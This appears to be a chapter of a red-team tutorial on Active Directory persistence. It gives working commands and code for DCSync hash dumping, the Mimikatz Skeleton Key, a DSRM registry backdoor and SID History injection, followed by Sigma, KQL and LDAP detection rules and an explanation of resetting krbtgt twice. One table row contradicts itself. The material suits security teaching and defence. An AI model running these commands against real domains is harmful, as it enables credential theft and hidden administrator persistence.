DCSync and Domain Persistence
DCSync abuses the AD replication protocol (DRSUAPI) to pull any user's credential hashes from a Domain Controller — remotely, without logging in to the DC. Post-compromise domain persistence goes deeper: Skeleton Key patches LSASS with a master password, DSRM backdoors the DC local admin, and SID History injection gives any account invisible Enterprise Admin rights. This chapter covers all four techniques with implementation, detection, and why double-resetting krbtgt is the only reliable recovery path.
You've obtained Domain Admin via Golden Ticket. Before the blue team finds you, you need persistence that survives a full DA password reset. You: (1) DCSync to dump all domain hashes for offline analysis, (2) inject SID History into a low-value account giving it Enterprise Admin SID, (3) backdoor the DSRM account on the DC with a known password, (4) create a new machine account and give it DCSync rights via DACL modification — a quiet secondary replication account that will still work after all user password resets.
DCSync Protocol Model
DCSync via DRSUAPI
// Full DRSUAPI implementation in C is several thousand lines (see Impacket source).
// Here: the conceptual call sequence and the required RPC binding.
// Practical implementation: use secretsdump.py (Python) or Mimikatz lsadump::dcsync
// Required: DA credentials or account with DS-Replication-Get-Changes-All
// secretsdump.py usage:
# Dump all domain hashes:
secretsdump.py corp/administrator:'Password1!'@dc01.corp.local
# Dump single account (quieter):
secretsdump.py -just-dc-user krbtgt corp/administrator:'Password1!'@dc01.corp.local
# Using PtH:
secretsdump.py -hashes :<NT_hash> corp/administrator@dc01.corp.local
# Using Kerberos ticket (after Golden/PtT):
KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass dc01.corp.local
# Output format:
# username:RID:LM_hash:NT_hash:::
# administrator:500:aad3b435b51404eeaad3b435b51404ee:8f4ef22b8706fcf7c96c7f4e8f6b08d5:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
// DRSUAPI C binding skeleton (conceptual — full implementation requires MIDL stubs):
#include "windows.h"
#include "rpcdce.h"
void DcSyncUser(const wchar_t* dcHostname, const wchar_t* targetAccount) {
// 1. RPC bind to DC's DRSUAPI endpoint (UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2)
// 2. DRSBind() with DS_REPLICATION_EPOCH and client GUID
// 3. DRSCrackNames() to resolve 'targetAccount' → DSNAME GUID
// 4. DRSGetNCChanges() with EXOP_REPL_OBJ for single object replication
// 5. Parse returned MS-DRSR AttributeStamp for unicodePwd and supplementalCredentials
// 6. Decrypt unicodePwd: RC4-HMAC(derived_session_key, encrypted_hash)
// Full implementation: ~2000 lines — use Impacket in practice
printf("[*] DCSync for %S on %S\n", targetAccount, dcHostname);
}
Domain Persistence Methods Comparison
| Technique | Persistence Survives | Detection Difficulty | Cleanup Required |
|---|---|---|---|
| Golden Ticket (krbtgt hash) | Password resets of all user accounts; requires krbtgt double-reset | Hard (no KDC log) | Double krbtgt reset |
| Skeleton Key (LSASS patch) | Reboots, LSASS crash (non-persistent) | Medium (LSASS patch detectable) | Reboot or LSASS restart |
| DSRM backdoor | All domain credential resets | Hard (registry-only change) | Reset DSRM password + registry |
| SID History injection | Account deletion only; SID history survives password reset | Hard (rarely audited) | Clear sIDHistory attribute |
| DCSync-rights DACL | Only removed if DACL is audited and explicitly reverted | Very hard (AD DACL rarely monitored) | Remove DS-Replication ACE |
| AdminSDHolder / SDProp | SDProp reimplements daily — re-grants permissions every hour | Hard | Remove from AdminSDHolder ACL |
Skeleton Key — LSASS Memory Patch
# Skeleton Key patches the DC's LSASS to accept a master password for ANY account.
# Normal password still works. Master password also works. In-memory only.
# Survives: running until DC reboot or LSASS restart. NOT disk-persistent.
# Mimikatz (on DC LSASS):
misc::skeleton
# After patch: any account can authenticate with password "mimikatz"
# net use \\dc01\admin$ /user:corp\administrator mimikatz
# C equivalent — patch lsass.exe cryptdll.dll MsvpPasswordValidate:
# Find the byte sequence for password hash comparison,
# patch to always return success (NOP the comparison + force TRUE return)
# Requires SYSTEM on DC + debug privilege + LSASS handle
# Modern EDR detection: Sysmon 10 (LSASS access) + tamper detection on lsass.exe
# Process protection (PPL) on modern Windows makes this harder
DSRM Account Backdoor
// DSRM (Directory Services Restore Mode) is the DC's local Administrator account.
// Used for offline AD repair. Has its own password, separate from domain credentials.
// By default: DSRM account can't be used over the network.
// Backdoor: reset DSRM password to a known value + enable network logon via registry.
// Survives: ALL domain credential resets — it's not a domain account.
// Step 1: Reset DSRM password (requires DA on DC):
// ntdsutil → "set dsrm password" → "reset password on server DC01" → enter password
// Step 2: Enable network logon for DSRM account:
// HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior = 2
// 0 = no network logon (default)
// 1 = allow only if DC in DSRM mode
// 2 = always allow network logon (our backdoor value)
BOOL EnableDsrmNetworkLogon() {
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) return FALSE;
DWORD val = 2;
BOOL ok = (RegSetValueExA(hKey, "DSRMAdminLogonBehavior", 0,
REG_DWORD, (BYTE*)&val, sizeof(val)) == ERROR_SUCCESS);
RegCloseKey(hKey);
if (ok) printf("[+] DSRM network logon enabled\n");
return ok;
}
// Use: net use \\DC01\C$ /user:DC01\Administrator <dsrm_password>
// Or PtH with DSRM NT hash
SID History Injection
# sIDHistory attribute: stores SIDs from previous domains (used in migrations).
# During Kerberos auth, AD includes ALL SIDs from sIDHistory in the PAC.
# If a low-priv account has Enterprise Admins SID (S-1-5-21-...-519) in sIDHistory:
# → that account gets EA privileges in every Kerberos ticket
# → invisible: the account appears low-privilege in AD, only PAC reveals truth
# Requires: DA on the DC + DCShadow or direct NTDS manipulation
# Mimikatz (on DC):
privilege::debug
lsadump::sid /sam:backdooruser /new:S-1-5-21-rootdomain-519
# Verify:
Get-ADUser backdooruser -Properties sIDHistory | Select sIDHistory
# Alternative via PowerShell AD module (DA required):
$target = Get-ADUser backdooruser
Set-ADUser backdooruser -Add @{sIDHistory = [Microsoft.ActiveDirectory.Management.ADPropertyValueCollection]@("S-1-5-21-1234-5678-9012-519")}
# To detect: LDAP query for any non-admin user with sIDHistory containing 512/519/544:
Get-ADUser -Filter * -Properties sIDHistory | Where-Object { $_.sIDHistory -like "*-512" -or $_.sIDHistory -like "*-519" }
Detection Engineering
title: DCSync — Replication Rights Used by Non-Machine Account
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: '%{19195a5b-6da0-11d0-afd3-00c04fd930c9}' # domainDNS object
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
filter_legit:
SubjectUserName|endswith: '$' # machine accounts (real DCs)
condition: selection AND NOT filter_legit
level: critical
tags: [attack.credential_access, T1003.006]
title: DSRM Backdoor — DSRMAdminLogonBehavior Registry Set to 2
logsource:
product: windows
category: registry_set # Sysmon 13
detection:
selection:
TargetObject|endswith: 'Lsa\DSRMAdminLogonBehavior'
Details: 'DWORD (0x00000002)'
condition: selection
level: critical
-- MDE KQL: DCSync from non-DC IP
DeviceEvents
| where ActionType == "DirectoryServiceReplication"
| where InitiatingProcessAccountType != "Machine"
| project Timestamp, DeviceName, InitiatingProcessAccountName,
InitiatingProcessFileName, RemoteIP, AdditionalFields
Q&A
Why does krbtgt need to be reset twice to invalidate Golden Tickets, and what exactly changes with each reset?
A Golden Ticket is encrypted using the krbtgt account's secret key (NT hash or AES256). The KDC uses the current krbtgt key to validate incoming TGTs. If you reset krbtgt once, the KDC generates a new key — but for backward compatibility, it also retains the previous key (stored in the supplementalCredentials attribute as the "previous password"). During a rolling transition period, the KDC will accept TGTs encrypted with either the current or the previous key. This is by design: it prevents users from being logged out mid-session when the password rolls. The implication for defense: a Golden Ticket forged with the old krbtgt key still works after the first reset, because the KDC still knows and accepts the previous key. It takes a second reset to push the original (attacker-known) key out of both the current and previous slots. The KDC then has no knowledge of the key that was used to sign the attacker's ticket and will reject it with KRB_AP_ERR_MODIFIED.
Operationally: the two resets must be spaced at least the Kerberos ticket maximum lifetime apart (default 10 hours) to ensure all legitimate sessions have had time to renew. Back-to-back resets within minutes cause legitimate Kerberos failures. The recommended procedure is: (1) reset krbtgt to a new random password, (2) wait 10+ hours for all TGT lifetimes to expire, (3) reset krbtgt again. This also invalidates any Kerberos delegation caches. Note: this procedure does not help if the attacker has established out-of-band persistence (DSRM backdoor, SID History, DCSync DACL rights, ADCS-based access) — those survive krbtgt resets. A complete domain recovery requires all persistence mechanisms to be identified and removed simultaneously.